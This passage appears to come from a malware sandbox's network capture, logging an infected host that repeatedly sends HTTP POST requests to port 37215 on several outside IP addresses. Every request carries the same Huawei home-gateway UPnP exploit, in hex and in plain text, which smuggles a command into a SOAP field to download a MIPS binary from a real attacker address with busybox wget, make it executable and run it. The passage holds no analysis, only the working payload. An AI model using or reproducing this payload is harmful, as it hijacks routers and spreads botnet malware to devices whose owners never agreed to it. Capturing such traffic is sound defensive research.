HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.20	57404	154.194.153.52	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:32.288552999 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:33.968631983 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:35.988662958 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:40.028923988 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:00:48.108720064 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:04.268569946 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 22, 2024 04:01:36.556618929 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.20	56574	41.0.84.161	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:33.995687962 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.20	37222	156.254.90.188	37215

Timestamp	Bytes transferred	Direction	Data
Jan 22, 2024 04:00:38.722666979 CET	815	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 34 35 2e 39 35 2e 31 34 37 2e 31 37 39 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 66 61 69 74 68 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 2e 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 45.95.147.179 -l /tmp/kh -r /faith.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei.rep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
